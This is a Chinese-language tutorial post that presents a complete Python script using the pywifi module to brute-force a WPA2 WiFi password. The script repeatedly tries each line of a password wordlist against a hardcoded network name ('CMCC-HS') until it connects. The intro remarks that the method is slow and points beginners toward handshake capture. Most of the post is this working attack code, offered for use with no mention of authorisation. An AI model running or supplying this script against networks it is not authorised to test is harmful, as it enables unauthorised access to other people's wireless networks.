暴力破解
简介
此暴力破解是一种极端的方法相当于枚举。。。。。。
对于我这种小白几乎不可行
关键点要有一个有效的密码本然后一个一个去试。。。
时间是问题每次验证密码需要4秒左右的时间一个密码本的容量上百兆。。。可想而知时间问题直接否定了暴力破解,一般的小白还是去了解一哈抓取wifi握手包破解吧
下载安装pywifi模块
都说pip不能下载python模块,但是我的就是用pip下载的
打开cmd输入
pip install pywifi
暴力破解代码
# -*- coding=utf-8 -*-
#导入库
import pywifi
from pywifi import const
import time
# 定义一个破解wifi函数
def wificonnect(wifiname,wifipwd):
#创建wifi对象
wifi = pywifi.PyWiFi()
#获取第一章网卡
ifaces = wifi.interfaces()[0]
#断开网卡wifi连接
ifaces.disconnect()
#睡眠0.5秒
time.sleep(0.5)
#判断网卡是否断开
# # Define interface status.
#IFACE_DISCONNECTED = 0 #
#IFACE_SCANNING = 1 #
#IFACE_INACTIVE = 2 # 网卡状态的值
#IFACE_CONNECTING = 3 #
#IFACE_CONNECTED = 4 #
if ifaces.status() == const.IFACE_DISCONNECTED:#if ifaces.status() == 0:同样的效果
#创建profile对象:网络配置文件
profile = pywifi.Profile()
#wifi名称
profile.ssid = wifiname
#wifi密码
profile.key = wifipwd
# 密钥管理类型
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#认证算法
profile.auth = const.AUTH_ALG_OPEN
#密码单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 移除现有的网络配置文件
ifaces.remove_all_network_profiles()
#添加新的网络配置文件
temp_profile = ifaces.add_network_profile(profile)
#连接
ifaces.connect(temp_profile)
#睡眠三秒:尝试连接
time.sleep(3)
# 判断网卡连接状态
if ifaces.status() == const.IFACE_CONNECTED:
#连接成功返回True
return True
else:
#否则返回False
return False
# 相当于主函数
def read_pwd():
print('开始破解')
#密码本的路径
path='C:\system\Desktop\python\python_Wifi\cnpassword.txt'
#只读形式打开文件
file = open(path,'r')
#只要不破解成功就是死循环
while True:
try:
#按行读取密码一次一行
wifipwd = file.readline()
# wifi名称变量
wifiname = "CMCC-HS"
#利用wificonnect函数的返回值判断是否连接
bool = wificonnect(wifiname,wifipwd)
#判断bool为 True or False来确定密码是否正确
if bool:
print('密码正确',wifipwd)
break
else:
print('密码错误',wifipwd)
except:
continue
#关闭文件
file.close()
read_pwd()